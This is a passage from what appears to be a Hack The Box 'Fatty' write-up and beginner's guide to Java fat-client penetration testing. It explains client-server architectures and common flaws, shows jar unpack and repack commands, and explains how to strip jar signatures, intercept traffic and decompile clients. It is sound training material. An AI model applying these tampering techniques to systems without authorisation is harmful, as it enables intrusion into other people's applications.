the&nbsp;<em>ssh&nbsp;<\/em>option&nbsp;<code>StrictHostKeyChecking=no<\/code>. To be honest, I\u2019m not sure why this is the case, but otherwise&nbsp;<em>ssh&nbsp;<\/em>was throwing an error. Probably&nbsp;<em>ssh&nbsp;<\/em>tries to write the hostkey to the&nbsp;<em>known_hosts&nbsp;<\/em>file of the root user and is missing permissions for that, but I had not investigated this issue any further.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"conclusions\">5.0 \u2013 Conclusions<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The\u00a0<em>Fatty\u00a0<\/em>machine demonstrates the devastating consequences of vulnerabilities inside of\u00a0<em>fat client<\/em>\u00a0software. From my personal experience it is alarming how often\u00a0<em>fat client<\/em>\u00a0software can be exploited to execute arbitrary commands on the corresponding application server. With\u00a0<em>Fatty<\/em>, I want to increase the awareness on\u00a0<em>fat client<\/em>\u00a0vulnerabilities and enable other pentesters to find them more easily.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Back in the year 2019, usd HeroLab consultant and security researcher Tobias Neitzel (<a href=\"https:\/\/twitter.com\/qtc_de\" target=\"_blank\" rel=\"noreferrer noopener\">@qtc_de<\/a>) created&nbsp;<em>Fatt<\/em>y, a vulnerable Machine that he submitted to&nbsp;<a href=\"https:\/\/www.hackthebox.eu\/\" target=\"_blank\" rel=\"noreferrer noopener\">Hack The Box<\/a>.&nbsp;<em>Fatty&nbsp;<\/em>was released at the beginning of 2020 and focuses on<em>&nbsp;fat client<\/em>&nbsp;exploitation. In this post, we release the writeup that Tobias created for his initial box submission. It also contains a beginners guide on how to tackle&nbsp;<em>fat clients<\/em>&nbsp;during a security assessment. Want to improve your&nbsp;<em>fat client<\/em>assessment skills? Then make sure to read on!&nbsp;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Table of Contents<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#description\">1.0 \u2013 Description<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#introduction\">2.0 \u2013 A Gentle Introduction to Fat Client Penetration Tests<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#fat-client-architectures\">2.1 \u2013 Fat Client Architectures<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#fat-client-vulnerabilities\">2.2 \u2013 Typical Fat Client Vulnerabilities<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#getting-started\">2.3 \u2013 Getting Started<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#getting-the-client-running\">2.3.1 \u2013 Getting the Client Running<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#defeating-signed-jars\">2.3.2 \u2013 Defeating Signed Jars<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#intercepting-network-traffic\">2.3.3 \u2013 Intercepting the Network Traffic<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#decompiling-the-client\">2.3.4 \u2013 Decompiling the Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#building-own-client\">2.3.5 \u2013 Building a own Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#patching-classes\">2.3.6 \u2013 Patching Classes<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#defeating-sealed-jars\">2.3.7 \u2013 Defeating Sealed Jars<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#spring-framework\">2.3.8 \u2013 The Spring Framework<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#fat-client-conclusions\">2.4 \u2013 Fat Client Conclusions<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#user-on-fatty\">3.0 \u2013 Getting User on Fatty<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#enumeration\">3.1 \u2013 Starting Enumeration<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#running-fatty\">3.2 \u2013 Getting Fatty Running<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#exploring-the-client\">3.3 \u2013 Exploring the Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#inspecting-network-traffic\">3.4 \u2013 Inspecting the Network Traffic<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#decompiling-fatty\">3.5 \u2013 Decompiling Fatty<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#own-fatty-client\">3.6 \u2013 Building your own Fatty Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#ready-for-takeof\">3.7 \u2013 Ready for Take of<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#off-by-one\">3.8 \u2013 Off by One<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#sql-injection\">3.9 \u2013 The SQL Injection<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#final-punch\">3.10 \u2013 The final Punch<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#escalating-to-root\">4.0 \u2013 Escalating to root<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#odd-services\">4.1 \u2013 Odd Services<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#strange-tar\">4.2 \u2013 Some Strange Behavior of tar<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#root-shell\">4.3 \u2013 Obtaining the root Shell<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#conclusions\">5.0 \u2013 Conclusions<\/a><\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:heading -->\n<h2 id=\"description\">1.0 \u2013 Description<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In this writeup I will demonstrate how one can solve the&nbsp;<em>Fatty&nbsp;<\/em>machine, which implements a vulnerable&nbsp;<em>Java fat client<\/em>&nbsp;and the corresponding application server. At the beginning of my career I never even heard the term<em>&nbsp;fat client<\/em>&nbsp;and started with absolutely zero knowledge. Compared to other areas of pentesting,&nbsp;<em>fat client<\/em>&nbsp;pentests feeled quite overwhelming and it was hard to get into it. However, once you understand some basic concepts,&nbsp;<em>fat client<\/em>&nbsp;pentests probably become your favorite kind of tests, since they provide a lot of interesting attack vectors.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With&nbsp;<em>Fatty<\/em>, I tried to implement a vulnerable&nbsp;<em>fat client<\/em>&nbsp;that is not too hard, but still teaches some valuable concepts of fat client penetration tests. To be honest, I\u2019m far from being a great developer and never really programmed graphical user interfaces in&nbsp;<em>Java&nbsp;<\/em>before. Therefore, many parts of the code may look weird to an experienced&nbsp;<em>Java&nbsp;<\/em>developer, but from my experience I can tell you that encountering weird code during a<em>&nbsp;fat client<\/em>&nbsp;assessment is quite common.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this writeup I want not only to demonstrate the actual machine solution, but also provide a short introduction on how to engage&nbsp;<em>fat clients<\/em>. I hope that this document supports other penetration testers to get started with&nbsp;<em>fat clients<\/em>&nbsp;and helps to make these kind of applications more secure. Providing an introduction to&nbsp;<em>Java fat clients<\/em>&nbsp;is of course only a small part of the actual field, since<em>&nbsp;fat clients<\/em>&nbsp;assessments of applications written in e.g.&nbsp;<em>C++<\/em>&nbsp;is a whole different story. However, some of the concepts we will talk about can also be useful for other kinds of&nbsp;<em>fat clients<\/em>&nbsp;and may help you in different situations.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you are already familar with<em>&nbsp;fat client<\/em>&nbsp;testing and want to see the actual machine solution, feel free to skip the next chapter.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"introduction\">2.0 \u2013 A Gentle Introduction to Fat Client Penetration Tests<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>At first, we should specify what we actually mean then talking about a&nbsp;<em>fat client<\/em>. The term&nbsp;<em>fat client<\/em>&nbsp;has several different definitions, from more general to very specific once. For this post, a<em>&nbsp;fat client<\/em>&nbsp;is some kind of executable file (<em>elf<\/em>,&nbsp;<em>exe<\/em>,&nbsp;<em>jar<\/em>, \u2026) that, after its execution, spawns a graphical user interface. There are of course exceptions and also other kinds of applications that could be counted as fat clients, but the definition above is sufficient for this introduction. Furthermore, we will focus on&nbsp;<em>fat clients<\/em>&nbsp;that communicate with a remote server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The actual testing methodologies can strongly diverge depending on the underlying technology of the<em>&nbsp;fat client<\/em>. For&nbsp;<em>Java&nbsp;<\/em>or .<em>NET&nbsp;<\/em>clients, you can use&nbsp;<em>decompilers&nbsp;<\/em>to recover the original code in an almost one to one fashion. Furthermore, it is quite easy to insert modifications or to setup your own client skeleton. On the other hand, for clients written in other languages like&nbsp;<em>C++<\/em>, such a detailed&nbsp;<em>decompilation&nbsp;<\/em>is not possible and you have to apply different techniques to efficiently engage such clients. In this document we will focus on&nbsp;<em>fat clients<\/em>&nbsp;written in&nbsp;<em>Java<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"fat-client-architectures\">2.1 \u2013 Fat Client Architectures<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While the actual graphical user interface strongly depends on the purpose and design decisions of the&nbsp;<em>fat client<\/em>, the different communication models between a<em>&nbsp;fat client<\/em>&nbsp;and its application server often match one of three different architectures:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Two-Tier Architecture<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a two-tier architecture the<em>&nbsp;fat client<\/em>&nbsp;directly communicates with the service that is responsible for data storage. In most cases, this is some kind of database, but also other technologies like&nbsp;<em>FTP&nbsp;<\/em>or&nbsp;<em>SMB&nbsp;<\/em>servers can be found. A diagram of this architecture could look like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15419,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/01.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/01.png\" alt=\"\" class=\"wp-image-15419\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Such an architecture is very difficult to secure, because the fat client needs direct access to the resource server. In context of databases, this means that the fat client needs a valid database account. Usually, this is realized by one of the following ways:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><strong>Hard Coded Database Account<\/strong>&nbsp;\u2013 In this implementation, the database credentials for a high privileged user account are hard coded inside the&nbsp;<em>fat client<\/em>. On client startup, the hard coded credentials are used to connect to the database and a login prompt is displayed to the actual user. After the user has entered his credentials, the existing database connection is used to validate the credentials of the user and to obtain his role inside the fat client. The graphical user interface of the client is then adopted according to the role that was received from the database server. If one wants again to draw a diagram of this situation, it could look like this:&nbsp;<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:image {\"id\":15421,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/02.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/02.png\" alt=\"\" class=\"wp-image-15421\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>It should be obvious that such an implementation is always insecure. Even the application may provides different user accounts with different roles, all database queries run with the permissions of the same high privileged database account. Attackers can try to extract the database credentials from the client and connect to the database directly, or they can try to manipulate the client in order to execute arbitrary&nbsp;<em>SQL&nbsp;<\/em>queries.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true,\"start\":2} -->\n<ol start=\"2\"><li><strong>Multiple Database Accounts<\/strong>&nbsp;\u2013 This setup is often used in&nbsp;<em>Active Directory<\/em>environments, where&nbsp;<em>AD&nbsp;<\/em>credentials are used to authenticate to the&nbsp;<em>fat client<\/em>. In this case, each<em>&nbsp;fat client<\/em>&nbsp;user does also get access to the database server with his own account and the corresponding set of permissions. A diagram of this situation could look like this:<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:image {\"id\":15423,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/03.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/03.png\" alt=\"\" class=\"wp-image-15423\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Theoretically, this kind of setup can be secure, since users are only allowed to perform actions that are enabled for their corresponding database role. However, securing a database server for privilege escalation attacks can be difficult too and allowing direct database access for each fat client user can still be a risk.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Three-Tier Architecture<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A three-tier architecture is definitely the preferred way and allows to implement&nbsp;<em>fat clients<\/em>&nbsp;more easily. Like the name already suggests, in this kind of architecture you have an additional layer between<em>&nbsp;fat client<\/em>&nbsp;and&nbsp;<em>database<\/em>\/<em>FTP<\/em>\/<em>SMB&nbsp;<\/em>server. This is usually realized by an application server and the corresponding diagram looks like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15425,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/04.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/04.png\" alt=\"\" class=\"wp-image-15425\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>The big advantage of this architecture is, that the application server can handle access control and filtering in front of the storage backend. This helps to prevent a large amount of possible attacks and is also more flexible. Unfortunately, just having an application server in between does not make a<em>&nbsp;fat client<\/em>&nbsp;automatically secure. These servers can still contain vulnerabilities like<em>broken access control<\/em>,<em>&nbsp;SQL injections<\/em>,&nbsp;<em>path traversals<\/em>, \u2026.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"fat-client-vulnerabilities\">2.2 \u2013 Typical Fat Client Vulnerabilities<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned above, the application server in a three-tier architecture can be vulnerable to a lot of different vulnerability classes. However, most of the time all of them are caused by the same simple implementation mistake:&nbsp;<em>A trust relationship between client and server<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When talking about webapplications, most developers today are aware that all input the server receives is fully controlled by the application user. With tools like&nbsp;<em>BurpSuite&nbsp;<\/em>it is easy to intercept and modify&nbsp;<em>HTTP&nbsp;<\/em>requests, which allows a fair amount of possible attacks. Furthermore, by modifying&nbsp;<em>HTTP&nbsp;<\/em>responses it is often possible to enable functionality that is disabled inside the ordinary user interface (e.g. admin related functions).<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For&nbsp;<em>fat clients<\/em>, this awareness of untrusted input is far behind. Since&nbsp;<em>fat clients<\/em>spawn a graphical user interface that is often more complex than a simple webapp and often use proprietary binary protocols for client server communication, it is harder to imagine that input arriving on the server could be tainted. And here starts the story of many fat client vulnerabilities like:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><strong>Broken Access Control<\/strong>&nbsp;\u2013 This is by far the most typical vulnerability inside of&nbsp;<em>fat clients<\/em>. Different user roles get usually displayed a different user interface, where certain functionality is disabled for lower privileged user accounts. But disabling these functionalities inside the client is insufficient to prevent low privileged users from calling them. Once you have control over the client server communication, you can invoke any method you want on the application server. If access control is only enforced on the client side, this usually leads to critical vulnerabilities.<\/li><li><strong>Insufficient Filtering<\/strong>&nbsp;\u2013 Consider a client that allows you to access files on the application server. Often such clients represent electable files as icons that can be opened by double-clicking them. In the underlying implementation, the client probably sends the filename to the server and since this action is induced by clicking an icon, it seems like users are unable to control the filename. But again, once you control the client server communication, you can modify the path manually. This often allows access to the whole file system, by using path traversal attacks.<\/li><li><strong>Debugging Methods<\/strong>&nbsp;\u2013 Many application servers implement some debugging methods. These can only be accessed by a special debugging client, that implements calls for these specific methods. Since the ordinary user client does not even implement these methods, it seems like they are secured. However, once an attacker gets knowledge of these methods and again controls the client server communication, also these methods can be called.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>We could continue the list with&nbsp;<em>SQLi<\/em>,&nbsp;<em>insecure deserialization<\/em>&nbsp;and other vulnerabilities, but I guess the message is clear: Also input generated by a&nbsp;<em>fat client<\/em>&nbsp;cannot be trusted! For this reason, the main goal during a<em>&nbsp;fat client<\/em>assessment is to get control over the communication channel between client and server. This can be more or less difficult. There are basically two different scenarios:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>The fat client communicates with the server using a known protocol like&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML<\/em>. In this case, setting up an interceptor like&nbsp;<em>BurpSuite&nbsp;<\/em>is often sufficient to intercept and modify the traffic between client and server.<\/li><li>The&nbsp;<em>fat client<\/em>&nbsp;uses some unknown protocol with encryption, signing and other stuff. In these situations, intercepting and manipulating network traffic is often not sufficient and you will need to build your own client implementation. Wait, we have to write our own fat client? Yes, kind of, but it sounds harder as it is. By looking at the decompiled client code, you can figure out how the actual&nbsp;<em>fat client<\/em>&nbsp;is setting up the communication channel. This connection setup needs to be implemented by your own&nbsp;<em>Java&nbsp;<\/em>code. We talk about this process in more detail in a later chapter (2.3.5 \u2013&nbsp;<em>Building Your Own Client<\/em>).<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"getting-started\">2.3 \u2013 Getting Started<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For the rest of this chapter we assume that we were given a&nbsp;<em>fat client&nbsp;<\/em>application by our customer. The&nbsp;<em>fat client<\/em>&nbsp;ships as a single&nbsp;<em>.jar<\/em>&nbsp;file and we have to perform a security assessment on it. So how do we start?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"getting-the-client-running\">2.3.1 \u2013 Getting the Client Running<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The most obvious thing you should do when testing a<em>&nbsp;fat client<\/em>&nbsp;is to get the client running. Without knowing what the client is actually doing and how the user interface looks like, the identification of attack vectors can be difficult. Therefore, make sure that the unmodified client is running on your local system. But sometimes this is already your first problem. Security assessments are often performed in dedicated testing environments and while the application server and database may have moved to this new environment, the client was left unpatched and still tries to connect to the production environment. In such situations, you have to modify the provided&nbsp;<em>.jar<\/em>&nbsp;file yourself e.g. to change some values in a certain&nbsp;<em>.properties<\/em>&nbsp;or .<em>xml&nbsp;<\/em>file. Luckily,&nbsp;<em>.jar<\/em>&nbsp;files can be easily unpacked, modified and packed again. All of this can be done by using just the&nbsp;<code>zip<\/code>&nbsp;and&nbsp;<code>unzip<\/code>&nbsp;utilities:pentester@kali$ mkdir outputpentester@kali$ unzip example.jar -d output# make modifications to files in outputpentester@kali$ cd output; zip -r -0 example.jar *; cd -pentester@kali$ mv output\/example.jar .<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>-0<\/code>&nbsp;flag can be a pitfall since it is required to generate a working&nbsp;<em>.jar<\/em>&nbsp;file again. However, then following the above instructions, you should be able to patch simple configuration files inside a&nbsp;<em>.jar<\/em>&nbsp;file quite easily.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"defeating-signed-jars\">2.3.2 \u2013 Defeating Signed Jars<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When unpacking, modifying and re-packing a&nbsp;<em>.jar<\/em>&nbsp;file, there is one additional obstacle that might be in place and this is&nbsp;<code>jar-signing<\/code>. Digital signatures are widely used in information security and also&nbsp;<em>.jar<\/em>&nbsp;files are no exception. To provide protection from malicious modifications,&nbsp;<em>.jar<\/em>&nbsp;files can additionally be signed to proof their integrity. If you use the above mentioned approach to modify a&nbsp;<em>.jar<\/em>&nbsp;file that is signed, execution of the re-packed&nbsp;<em>.jar<\/em>&nbsp;file will fail, since the signatures of the modified files will no longer match. If you try to execute a&nbsp;<em>.jar<\/em>&nbsp;file with a broken signature, you should see an error message like this:pentester@kali$ java -jar signed-jar.jar<strong>Exception<\/strong> in thread \"AWT-EventQueue-1\" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:419) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:336) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:304) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:224) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:195) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:257) [...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The details of this error message are of course different for different applications, but the core error message&nbsp;<code>SHA-256 digest error for \u2026<\/code>should be roughly the same. Errors that are related to signing and cryptography look always scary, but for&nbsp;<em>jar-signing<\/em>&nbsp;this is not true and it is very easy to get the&nbsp;<em>.jar<\/em>&nbsp;file running again.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have already seen that a&nbsp;<em>.jar<\/em>&nbsp;file is basically just a&nbsp;<em>zip-archive<\/em>. Therefore, creating and validating signatures of&nbsp;<em>.jar<\/em>&nbsp;files is not done by any magic procedure that is hidden from the end user. Instead, the archive just contains a file that stores a signature for each resource contained in the archive. This file is the well known&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file, that also stores other information about the&nbsp;<em>.jar<\/em>&nbsp;file:Manifest-Version: 1.0Archiver-Version: Plexus ArchiverCreated-By: Apache MavenBuilt-By: rootBuild-Jdk: 1.8.0_212Main-Class: example.ClassName: META-INF\/maven\/org.slf4j\/slf4j-log4j12\/pom.propertiesSHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z\/hdj03XNhHx3C\/pZbEp4Cw=Name: org\/springframework\/jmx\/export\/metadata\/ManagedOperationParameter.classSHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf\/FD9h2AMOntcgw=Name: org\/springframework\/format\/support\/FormattingConversionService.classSHA-256-Digest: Q1Wy5C\/kxkONF+15qSsaFrNLrIuOcu3qpON1u0O+FrY=Name: org\/springframework\/context\/ApplicationEventPublisher.classSHA-256-Digest: VuQ0PXRkcCGEBknWpKWaKolUEf2J6gaG0CIJA2n0rhE=[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the digest values are not only plain hashes, but also encrypted with the certificate of the creator, we cannot simply recalculate them for our modified files. Anyway, there is an easier solution. You may already asked yourself how&nbsp;<em>Java&nbsp;<\/em>knows whether a&nbsp;<em>.jar<\/em>&nbsp;file is signed or not? The answer is: It cannot know this! When executing a signed&nbsp;<em>.jar<\/em>, Java will look at the manifest file and if signatures are present, it will try to validate these. However, if no signatures are present, the&nbsp;<em>.jar<\/em>&nbsp;file is assumed to not being signed. Therefore, we can just strip all the signatures to make our&nbsp;<em>.jar<\/em>&nbsp;file working again (okay, you also need to delete the&nbsp;<code>.RSA<\/code>&nbsp;and&nbsp;<code>.SF<\/code>&nbsp;files from the&nbsp;<em>META-INF<\/em>&nbsp;directory, but still it should be doable).<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"intercepting-network-traffic\">2.3.3 \u2013 Intercepting the Network Traffic<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After looking some time on the basic functionality of the client, you should start to intercept some network traffic. If you are lucky, you already see some plaintext&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML&nbsp;<\/em>messages, but most of the time the traffic between client and server will be just a binary stream or some encrypted data.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the case of known protocols like&nbsp;<em>HTTP<\/em>, you should try to get the client to connect to an interceptor like e.g.&nbsp;<em>BurpSuite<\/em>. Then you can start clicking around in the client and see which parameters get send to the server. In most cases, looking at these parameters and injecting custom payloads will be sufficient to identify most vulnerabilities in the application server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The redirection to your interaceptor can be done in various ways. Some clients support a&nbsp;<em>proxy option<\/em>&nbsp;right away. For others, you can try to setup an entry inside your&nbsp;<code>\/etc\/hosts<\/code>&nbsp;file that points to your local interceptor.&nbsp;<em>Java&nbsp;<\/em>also supports setting up a proxy inside of its global configuration. The biggest problem that you an encounter here is when the client uses TLS and verifies the servers certificate (<em>certificate-pinning<\/em>). In these cases, you have to invest some additional effort to disable the certificate validation inside the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many times&nbsp;<em>fat clients<\/em>&nbsp;use their own proprietary protocol for client server communication. In these cases, setting up an interceptor and modifying the binary messages is not the preferred solution. Instead, you should try your build your own client, which will be discussed soon.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"decompiling-the-client\">2.3.4 \u2013 Decompiling the Client<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One very nice thing about&nbsp;<em>Java&nbsp;<\/em>clients is that you can recover the original source code basically in a one to one relationship. This job is done by decompilers and several different ones are available for free on the internet. If you like to work with&nbsp;<em>IDEs&nbsp;<\/em>and are generally a fan of graphical user interfaces, I can recommend&nbsp;<a href=\"https:\/\/github.com\/Konloch\/bytecode-viewer\" target=\"_blank\" rel=\"noreferrer noopener\">bytecode-viewer<\/a>. However, for myself I use different tools that fit more into my workflow. For decompilation I use the&nbsp;<a href=\"https:\/\/www.benf.org\/other\/cfr\/\" target=\"_blank\" rel=\"noreferrer noopener\">cfr-decompiler<\/a>, which has been proven fast and stable. Once the client is decompiled, I use&nbsp;<a href=\"https:\/\/code.visualstudio.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Visual Studio Code<\/a>&nbsp;and its&nbsp;<em>open folder<\/em>&nbsp;function to step through the decompiled&nbsp;<em>Java&nbsp;<\/em>code. Which tools you choose for decompilation is just a matter of taste and you should try different one to find your perfect match.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depending on the size of your&nbsp;<em>fat client<\/em>, you probably have a huge amount of source code after decompilation. You may feel overwhelmed and do not know where to start. The good news is, that you can skip a lot of stuff that you have decompiled. E.g. you will see folders like&nbsp;<code>org\/apache\/log4j<\/code>. Well, this is standard software and nothing related to the<em>&nbsp;fat client<\/em>&nbsp;you are targeting. The naming conventions for&nbsp;<em>Java&nbsp;<\/em>packages can be very helpful here. E.g. if your client was developed by a company in&nbsp;<em>Hungary<\/em>, it is likely that all their packages start with&nbsp;<code>hu<\/code>. Only look on packages that are really related to your&nbsp;<em>fat client&nbsp;<\/em>and do not waste your time with standard software.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like already mentioned before, the most interesting thing about&nbsp;<em>fat clients<\/em>&nbsp;is to control the communication channel. Therefore, understanding how the client establishes a connection to the server is very important and this is the first thing you should try to understand from the source code . But even then looking only at the&nbsp;<em>fat client&nbsp;<\/em>related packages, the amount of decompiled code can still be huge. To go through it in a structured way is key during a&nbsp;<em>fat client<\/em>assessment and there are generally two approaches to do this:<\/p>\n<!-- \/wp:paragraph 